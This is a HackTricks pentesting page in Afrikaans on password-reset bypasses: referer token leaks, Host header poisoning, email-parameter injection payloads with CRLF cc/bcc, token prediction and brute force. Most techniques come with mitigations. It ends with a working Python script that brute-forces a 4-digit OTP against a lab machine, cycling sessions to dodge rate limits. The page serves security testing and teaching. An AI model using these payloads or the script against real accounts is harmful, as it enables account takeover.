# Reset/Forgotten Password Bypass {{#include ../banners/hacktricks-training.md}} ## **Wagwoord Herstel Token Lek Via Verwysing** - Die HTTP referer kop kan die wagwoord herstel token lek as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n derdeparty-webwerf skakel na 'n wagwoord herstel versoek. - **Impak**: Potensiële rekening oorname via Cross-Site Request Forgery (CSRF) aanvalle. - **Eksploitatie**: Om te kontroleer of 'n wagwoord herstel token in die referer kop lek, **versoek 'n wagwoord herstel** na jou e-posadres en **klik op die herstel skakel** wat verskaf is. **Moet nie jou wagwoord** onmiddellik verander nie. In plaas daarvan, **navigeer na 'n derdeparty-webwerf** (soos Facebook of Twitter) terwyl jy **die versoeke met Burp Suite onderskep**. Ondersoek die versoeke om te sien of die **referer kop die wagwoord herstel token bevat**, aangesien dit sensitiewe inligting aan derde partye kan blootstel. - **Verwysings**: - [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 272379](https://hackerone.com/reports/272379) - [Wagwoord Herstel Token Lek Artikel](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) ## **Wagwoord Herstel Besmetting** - Aanvallers kan die Host kop manipuleer tydens wagwoord herstel versoeke om die herstel skakel na 'n kwaadwillige webwerf te wys. - **Impak**: Lei tot potensiële rekening oorname deur die lek van herstel tokens aan aanvallers. - **Versagtingsstappe**: - Valideer die Host kop teen 'n witlys van toegelate domeine. - Gebruik veilige, bediener-kant metodes om absolute URL's te genereer. - **Plek**: Gebruik `$_SERVER['SERVER_NAME']` om wagwoord herstel URL's te konstrueer in plaas van `$_SERVER['HTTP_HOST']`. - **Verwysings**: - [Acunetix Artikel oor Wagwoord Herstel Besmetting](https://www.acunetix.com/blog/articles/password-reset-poisoning/) ## **Wagwoord Herstel Deur Manipulasie van E-pos Parameter** Aanvallers kan die wagwoord herstel versoek manipuleer deur addisionele e-pos parameters by te voeg om die herstel skakel te omlei. - Voeg aanvaller se e-pos as tweede parameter by met & ```php POST /resetPassword [...] email=victim@email.com&email=attacker@email.com ``` - Voeg aanvaller e-pos as tweede parameter by met %20 ```php POST /resetPassword [...] email=victim@email.com%20email=attacker@email.com ``` - Voeg aanvaller e-pos as tweede parameter by gebruik van | ```php POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` - Voeg die aanvaller se e-pos as tweede parameter by met behulp van cc ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dcc:attacker@mail.tld" ``` - Voeg die aanvaller se e-pos as tweede parameter by met bcc ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" ``` - Voeg aanvaller e-pos as tweede parameter by gebruik van , ```php POST /resetPassword [...] email="victim@mail.tld",email="attacker@mail.tld" ``` - Voeg aanvaller e-pos as tweede parameter in json-array by. ```php POST /resetPassword [...] {"email":["victim@mail.tld","atracker@mail.tld"]} ``` - **Mitigeringstappe**: - Parse en valideer e-posparameters behoorlik aan die bediener-kant. - Gebruik voorbereide verklarings of geparametriseerde navrae om inspuitaanvalle te voorkom. - **Verwysings**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) ## **Verandering van E-pos en Wagwoord van enige Gebruiker deur API Parameters** - Aanvallers kan e-pos en wagwoordparameters in API-versoeke wysig om rekeninginligting te verander. ```php POST /api/changepass [...] ("form": {"email":"victim@email.tld","password":"12345678"}) ``` - **Mitigeringstappe**: - Verseker strikte parametervalidasie en outentikasie kontrole. - Implementeer robuuste logging en monitering om verdagte aktiwiteite op te spoor en daarop te reageer. - **Verwysing**: - [Volledige rekening oorname via API parameter manipulasie](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **Geen Tariefbeperking: E-pos Bombardering** - Gebrek aan tariefbeperking op wagwoordreset versoeke kan lei tot e-pos bombardering, wat die gebruiker oorweldig met reset e-posse. - **Mitigeringstappe**: - Implementeer tariefbeperking gebaseer op IP-adres of gebruikersrekening. - Gebruik CAPTCHA-uitdagings om geoutomatiseerde misbruik te voorkom. - **Verwysings**: - [HackerOne Verslag 280534](https://hackerone.com/reports/280534) ## **Vind uit hoe Wagwoord Reset Token gegenereer word** - Om die patroon of metode agter token generasie te verstaan, kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies: - Gebaseer op Tydstempel - Gebaseer op die GebruikerID - Gebaseer op e-pos van die gebruiker - Gebaseer op Voornaam en Van - Gebaseer op Geboortedatum - Gebaseer op Kriptografie - **Mitigeringstappe**: - Gebruik sterk, kriptografiese metodes vir token generasie. - Verseker voldoende ewekansigheid en lengte om voorspelbaarheid te voorkom. - **Gereedskap**: Gebruik Burp Sequencer om die ewekansigheid van tokens te analiseer. ## **Raadbare UUID** - As UUID's (weergawe 1) raadsbaar of voorspelbaar is, kan aanvallers dit brute-force om geldige reset tokens te genereer. Kontroleer: {{#ref}} uuid-insecurities.md {{#endref}} - **Mitigeringstappe**: - Gebruik GUID weergawe 4 vir ewekansigheid of implementeer addisionele sekuriteitsmaatreëls vir ander weergawes. - **Gereedskap**: Gebruik [guidtool](https://github.com/intruder-io/guidtool) om GUID's te analiseer en te genereer. ## **Antwoord Manipulasie: Vervang Slegte Antwoord met Goeie Een** - Manipuleer HTTP-antwoorde om foutboodskappe of beperkings te omseil. - **Mitigeringstappe**: - Implementeer bediener-kant kontroles om antwoordintegriteit te verseker. - Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle aanvalle te voorkom. - **Verwysing**: - [Kritieke Fout in Live Bug Bounty Gebeurtenis](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Gebruik van Verloop Token** - Toets of verlopen tokens steeds gebruik kan word vir wagwoordreset. - **Mitigeringstappe**: - Implementeer strikte token verloopbeleide en valideer token vervaldatum bediener-kant. ## **Brute Force Wagwoord Reset Token** - Poging om die reset token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde tariefbeperkings te omseil. - **Mitigeringstappe**: - Implementeer robuuste tariefbeperking en rekening sluiting meganismes. - Monitor vir verdagte aktiwiteite wat dui op brute-force aanvalle. ## **Probeer om Jou Token te Gebruik** - Toets of 'n aanvaller se reset token gebruik kan word saam met die slagoffer se e-pos. - **Mitigeringstappe**: - Verseker dat tokens aan die gebruikersessie of ander gebruikersspesifieke eienskappe gebind is. ## **Sessie Ongeldigmaking by Afmelding/Wagwoord Reset** - Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker afmeld of sy wagwoord reset. - **Mitigeringstappe**: - Implementeer behoorlike sessiebestuur, wat verseker dat alle sessies ongeldig gemaak word by afmelding of wagwoord reset. ## **Sessie Ongeldigmaking by Afmelding/Wagwoord Reset** - Reset tokens moet 'n vervaldatum hê waarna hulle ongeldig word. - **Mitigeringstappe**: - Stel 'n redelike vervaldatum vir reset tokens in en handhaaf dit streng bediener-kant. ## **OTP tariefbeperking omseiling deur jou sessie te verander** - As die webwerf 'n gebruikersessie gebruik om verkeerde OTP pogings te volg en die OTP swak was (<= 4 syfers), kan ons effektief die OTP brute-force. - **uitbuiting**: - vra net 'n nuwe sessietoken aan nadat jy deur die bediener geblokkeer is. - **Voorbeeld** kode wat hierdie fout uitbuit deur die OTP lukraak te raai (wanneer jy die sessie verander, sal die OTP ook verander, en so sal ons nie in volgorde kan brute-force nie!): ``` python # Outentikasie omseiling deur wagwoord reset # deur coderMohammed import requests import random from time import sleep headers = { "User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", "Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" } url = "http://10.10.12.231:1337/reset_password.php" logout = "http://10.10.12.231:1337/logout.php" root = "http://10.10.12.231:1337/" parms = dict() ter = 0 phpsessid = "" print("[+] Begin aanval!") sleep(3) print("[+] Dit kan ongeveer 5 minute neem om te voltooi!") try: while True: parms["recovery_code"] = f"{random.randint(0, 9999):04}" # lukrake nommer van 0 - 9999 met 4 d parms["s"] = 164 # nie belangrik nie, dit beïnvloed net die frontend res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) if ter == 8: # volg aantal pogings out = requests.get(logout,headers=headers) # log jou uit mainp = requests.get(root) # kry 'n ander phpssid (token) cookies = out.cookies # onttrek die sessionid phpsessid = cookies.get('PHPSESSID') headers["cookies"]=f"PHPSESSID={phpsessid}" #werk die headers met nuwe sessie op reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # stuur die e-pos om die wagwoord te verander vir ter = 0 # reset ter sodat ons 'n nuwe sessie kry na 8 pogings else: ter += 1 if(len(res.text) == 2292): # dit is die lengte van die bladsy wanneer jy die herstelkode korrek kry (gekry deur te toets) print(len(res.text)) # vir foutopsporing print(phpsessid) reset_data = { # hier sal ons die wagwoord na iets nuut verander "new_password": "D37djkamd!", "confirm_password": "D37djkamd!" } reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) print("[+] Wagwoord is verander na:D37djkamd!") break except Exception as e: print("[+] Aanval gestop") ``` ## Verwysings - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) {{#include ../banners/hacktricks-training.md}}